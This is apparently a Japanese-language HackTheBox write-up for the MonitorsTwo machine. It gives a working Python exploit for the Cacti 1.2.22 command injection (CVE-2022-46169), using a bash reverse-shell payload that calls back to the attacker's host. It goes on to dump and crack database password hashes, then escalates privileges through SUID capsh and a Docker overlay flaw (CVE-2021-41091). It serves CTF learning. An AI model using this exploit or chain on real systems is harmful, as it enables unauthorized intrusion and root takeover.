🍏

【HackTheBox】MonitorsTwo Writeup

2023/09/03に公開1

Recon

nmap

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http

Website


Version 1.2.22 The Cacti Groupが書いてありました。
調べてみたら、Cactiはネットワークのモニタリングツールでした(https://www.cacti.net/) 。default credentialsはadmin:adminですが、ログインできませんでした。

cacti 1.2.22 exploitで検索したらCVE-2022-46169が出てきました。未認証ユーザーでもできるcommand injectionです。githubのレポートに脆弱性の説明が細かく書いてあります。
https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf

command injectionのターゲット
proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

remote_agent.phppolldata()の中のproc_open()に渡している$poller_idに任意のコマンドを渡すと実行されるとのことです。

Cacti 1.2.22 RCE

exploit dbのこのスクリプトを実行してみたらエラーが出てうまく行かなかったので(https://www.exploit-db.com/exploits/51166) 、githubのレポートを参考にしてコードを修正していきます。

多分payloadの設定が変だったと思います。

exploit dbのコード(一部)
        for host_id in range(1,100):
            for local_data_ids in range(1,100):
                urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")

githubのページにe.g. providing the poller_id=;id the id command is executed.が書いてありましたので、poller_id=1{payload}のところはpoller_id=;{payload}に修正します。

また、不要そうな処理をいろいろ消したらこんな感じのコードになりました。これでreverse shellが取れました。

exploit.py
import requests
import urllib

def exploit():
	# target page and payload settings
	url = "http://10.10.11.211/remote_agent.php"
	headers = {"X-Forwarded-For": "127.0.0.1"}
	payload = "bash -c 'bash -i >& /dev/tcp/10.10.14.6/9001 0>&1'"
	payload_encoded = urllib.parse.quote(payload)
	print(payload_encoded)

	# vulnerability check
	res = requests.get(url, headers=headers)
	print(f"remote_agent.php response status code: {res.status_code}, text: {res.text}")

	if res.status_code != 200:
		print("not able to access the remote_agent.php page")
		return

	# brute force ids and exploit
	for host_id in range(1,10):
		for local_data_id in range(1,10):
			exploit_url = f"{url}?action=polldata&local_data_ids[]={local_data_id}&host_id={host_id}&poller_id=;{payload_encoded}"
			exploit_res = requests.get(exploit_url, headers=headers)
			print(host_id, local_data_id, exploit_res.status_code, exploit_res.text)

exploit()

実行するとこんな感じです。

┌──(kali㉿kali)-[~/monitortwo]
└─$ python exploit.py
bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.6/9001%200%3E%261%27
remote_agent.php response status code: 200, text: Unknown Agent Request
1 1 200 [{"value":"17","rrd_name":"proc","local_data_id":"1"}]
1 2 200 [{"value":"1min:0.00 5min:0.00 10min:0.00","rrd_name":"","local_data_id":"2"}]
1 3 200 [{"value":"0","rrd_name":"users","local_data_id":"3"}]
1 4 200 [{"value":"2246136","rrd_name":"mem_buffers","local_data_id":"4"}]
1 5 200 [{"value":"1048572","rrd_name":"mem_swap","local_data_id":"5"}]

www-dataのシェルが取れました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.211] 49806
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id    
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data

Recon

root directoryを見てみたら.dockerenvがあったので、ここはコンテナの中です。

bash-5.1$ cd /
cd /
bash-5.1$ ls -la
ls -la
total 104
drwxr-xr-x   1 root root  4096 Mar 21 10:49 .
drwxr-xr-x   1 root root  4096 Mar 21 10:49 ..
-rwxr-xr-x   1 root root     0 Mar 21 10:49 .dockerenv
-rw-r--r--   1 root root   648 Jan  5  2023 entrypoint.sh
[...snip...]

entrypoint.shの中身を見てみます。コンテナのdbとファイルの権限などをセットアップしているみたいです。

entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
fi

exec "$@"

mysqlのcredentialsがあったので接続してみます。

bash-5.1$ mysql --host=db --user=root --password=root cacti -e "show tables"
Tables_in_cacti

[..snip...]
user_auth

user_authテーブルの中身を見てみます。

bash-5.1$ mysql --host=db --user=root --password=root cacti -e "select * from user_auth"
< --password=root cacti -e "select * from user_auth"
id      username        password        realm   full_name       email_address   must_change_password   password_change  show_tree       show_list       show_preview    graph_settings  login_opts      policy_graphs   policy_trees    policy_hosts    policy_graph_templates  enabled lastchange      lastlogin      password_history locked  failed_attempts lastfail        reset_perms
1       admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC    0       Jamie Thompson admin@monitorstwo.htb            on      on      on      on      on      2       1       1       1      1on      -1      -1      -1              0       0       663348655
3       guest   43e9a4ab75570f5b        0       Guest Account           on      on      on      on     on       3       1       1       1       1       1               -1      -1      -1              0      00
4       marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C    0       Marcus Brune   marcus@monitorstwo.htb                   on      on      on      on      1       1       1       1      1on      -1      -1              on      0       0       2135691668

adminとmarcus二人のユーザーのpassword hashがありました。johnでクラッキングしていきます。

Password Cracking

marcusのhashはクラッキングできました。パスワードはfunkymonkeyです。

password cracking
┌──(kali㉿kali)-[~/monitortwo]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt marcushash               

Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey      (?)     

marcus:funkymonkeyでsshログインはできました。

┌──(kali㉿kali)-[~/monitortwo]
└─$ ssh marcus@10.10.11.211                                                   
marcus@10.10.11.211's password: 
[...snip...]

You have mail.
Last login: Fri Sep  1 13:29:10 2023 from 10.10.14.6
marcus@monitorstwo:~$ ls
user.txt
marcus@monitorstwo:~$ cat user.txt

userフラグが取れました。

Shell as Marcus

Check Mail

ログインの時にyou have mailが書いてあったので、メールを確認します。

marcus@monitorstwo:/var$ cat mail/marcus 
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed. 

3つのCVEが提示されていました。2番目のCVE-2020-25706はcacti v1.2.13が対象なので、関係なさそうです。

marcus@monitorstwo:~$ uname -a
Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
marcus@monitorstwo:~$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88

kernelとdockerのバージョンを確認したら、このマシーンは1と3番目のCVEの対象でした。
CVE-2021-33033はlinux kernelのuse-after-freeの脆弱性で、メモリに任意の値を書き込むことができるみたいです。
また、CVE-2021-41091は権限が低いユーザーが/var/lib/dockerのサブディレクトリの中身を見れたり実行できたりするとのことです。
https://nvd.nist.gov/vuln/detail/CVE-2021-41091

このリンクの中にこんなことが書いてありました。

コンテナの中にSUIDがついているファイルがあると、marcusがそのファイルを実行できるっぽいです。試していきたいと思います。
コンテナの中のbashにSUIDをつけたいので、まずはコンテナの権限昇格をやってみます。

Priv Esc in Container: capsh SUID Exploit

コンテナの中にlinpeasを実行します。

コンテナ(www-data)
                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════     
                      ╚════════════════════════════════════╝                           
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                   
-rwsr-xr-x 1 root root 31K Oct 14  2020 /sbin/capsh

capshにSUIDが付いていました。GTFOBinsで検索します。

手順に沿って実行するとrootが取れました!

コンテナ(www-data)
bash-5.1$ /sbin/capsh --gid=0 --uid=0 --
whoami
root

rootが取れたので、bashにSUIDをつけます。

コンテナ(root)
chmod u+s /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

CVE-2021-41091

docker hostからコンテナの中のbashを実行したいので、コンテナのマウントポイントを探します。
docker psでコンテナを特定して、そこからdocker inspectでコンテナの設定を確認したかったですが、dockerコマンドはほとんど実行できないみたいです。

host machine(marcus)
marcus@monitorstwo:~$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied

ではpsでコンテナのマウントポイントを探してみます。まずはコンテナの名前を確認します。

コンテナ(root)
bash-5.1$ cat /etc/hostname
cat /etc/hostname
50bca5e748b0

コンテナのプロセスを特定します。

host machine(marcus)
marcus@monitorstwo:~$ ps aux | grep 50bca5e748b0
root        1337  0.0  0.2 1525664 10688 ?       Sl   Sep01   0:05 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock
marcus     34400  0.0  0.0   6432   720 pts/0    S+   13:20   0:00 grep --color=auto 50bca5e748b0

プロセスIDを使ってマウントポイントを確認します。dockerと関係ありそうなものを見てみます。

host machine(marcus)
marcus@monitorstwo:~$ cat /proc/1337/mounts | grep /var/lib/docker
overlay /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged 
shm /var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
overlay /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
shm /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0

マウントポイントをlsしてみるとコンテナの中が見れました!

host machine(marcus)
marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
bin   dev            etc   lib    media  opt   root  sbin  sys  usr
boot  entrypoint.sh  home  lib64  mnt    proc  run   srv   tmp  var

bashの権限も見てみます。ちゃんとSUIDがつけられています。(もう一つのマウントポイント/var/lib/docker/overlay2/4ec09ecfa...だとSUIDが付けられてないままでした)

host machine(marcus)
marcus@monitorstwo:/$ ls -la /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash

Root Shell

ではbash -pでrootを取ります。

host machine(marcus)
marcus@monitorstwo:/$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt

rootフラグが取れました!

Memo

footholdのコードが動くまで時間がかかりましたし、コンテナのexploitが結構ややこしかったと感じたので、なぜuser rated difficultyが低いのかが謎です。
metasploitを使えばもうちょっと簡単に感じてたかもしれません。個人的にはeasyとmediumの中間だと思います。面白いboxでした。

Discussion

brianslhobrianslho
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣤⣤⣴⣶⣶⣶⣦⣤⣤⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣶⡾⠿⠛⠛⠋⠉⠉⠉⠉⠉⠉⡉⠉⠉⠉⠛⠛⠿⢷⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡿⠟⠋⠁⠀⢀⡀⠀⠀⢰⡆⠀⠀⠀⢸⡇⠀⠀⠀⣀⠀⠀⠀⠈⠙⠻⢿⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠛⠁⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⡇⠀⠀⠀⢸⡇⠀⠀⠀⣿⡆⠀⠀⠀⠀⠀⠀⠉⠻⢷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣠⣴⣶⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢸⡇⠀⠀⠀⢸⡇⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠿⣶⣦⣄⡀⠀⠀⠀⠀
⠀⠀⢠⣾⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠀⠀⠸⡧⠀⠀⠀⠘⠃⠀⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣷⡄⠀⠀
⠀⠀⢻⣿⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣶⣶⣿⠏⠀⠀
⠀⠀⠀⠙⠿⣷⣾⡇⠀⠀⠀⠀⠀⠀⢀⣤⣤⣄⠀⠀⠀⠀⠀⠀⠀⠉⠘⠃⠀⠀⠀⠀⠀⠀⢀⣤⣦⣤⡀⠀⠀⠀⠀⠀⠀⢻⣷⣾⠟⠋⠀⠀⠀
⠀⠀⠀⠀⠀⣸⡿⠁⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⡧⠀⠀⠀⠰⣶⣶⣾⣾⣷⣶⣶⠄⠀⠀⠀⣿⣿⣿⣿⡷⠀⠀⠀⠀⠀⠀⠈⣿⣇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠙⠻⠟⠛⠁⠀⠀⠀⠀⠈⠛⠻⣿⠟⠋⠀⠀⠀⠀⠀⠙⠛⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠘⣿⡄⠀⠀⠀⠀
⠀⠀⠀⣰⣿⠷⠶⠖⠒⠲⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠶⠶⠶⠶⣿⣿⣦⠀⠀⠀
⢀⡴⠿⣿⡏⠀⠀⢀⣠⣤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⡿⠿⢿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣀⡀⠀⠀⠀⢹⣿⡟⢦⡀
⠉⠀⠸⣿⣇⣤⡾⠛⢉⣠⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⠟⠁⠀⠀⠀⠈⠛⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣠⣤⡀⠉⠛⠷⣦⣄⣸⣿⡇⠀⠈
⠀⠀⠀⣿⣿⡋⠀⠀⣿⣿⡿⠙⠻⢶⣦⣄⠀⠀⠀⠀⠈⠙⣿⣆⠀⠀⠀⠀⠀⣰⡿⠉⠁⠀⠀⠀⢀⣠⣴⡾⠋⢿⣿⣷⠀⠀⠈⢙⣿⣿⡇⠀⠀
⠀⢀⣾⠛⣿⣷⡀⠀⢿⣧⠀⠀⠀⠀⠀⠙⢷⣄⠀⠀⠀⠀⠘⣿⣆⣀⣀⣀⣰⡿⠁⠀⠀⠀⠀⣰⡿⠋⠁⠀⠀⠈⢹⣿⠀⠀⢀⣾⣿⠛⣷⠀⠀
⠀⠸⠁⠀⠈⣿⣿⣶⣼⣿⣇⠀⠀⠀⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠙⠛⠋⠛⠋⠀⠀⠀⠀⢀⣾⠟⠀⠀⠀⠀⠀⢀⣿⡏⢀⣤⣾⣟⠁⠀⠈⠇⠀
⠀⠀⠀⠀⠀⣿⡇⠉⠻⣿⡿⠀⠀⠀⠀⠀⠀⠘⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⡏⠀⠀⠀⠀⠀⠀⢸⣿⣶⡿⠛⢻⣿⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⣿⡇⠀⣸⣿⠁⠀⠀⠀⠀⠀⠀⠀⢹⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠀⠀⠀⠀⠀⠀⠀⠘⣿⣏⠀⠀⢸⣿⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢸⣿⠀⠐⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⠆⠀⠈⣿⡆⠀⠀⠀⠀
⠀⠀⠀⠀⣾⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣷⠀⠀⠀⠀
⠀⠀⠀⢰⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡆⠀⠀⠀
⠀⠀⠀⣼⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠀⠀⠀
⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡄⠀⠀
⠀⠀⣼⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
⠀⠀⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀
⠀⠀⢿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡷⠀⠀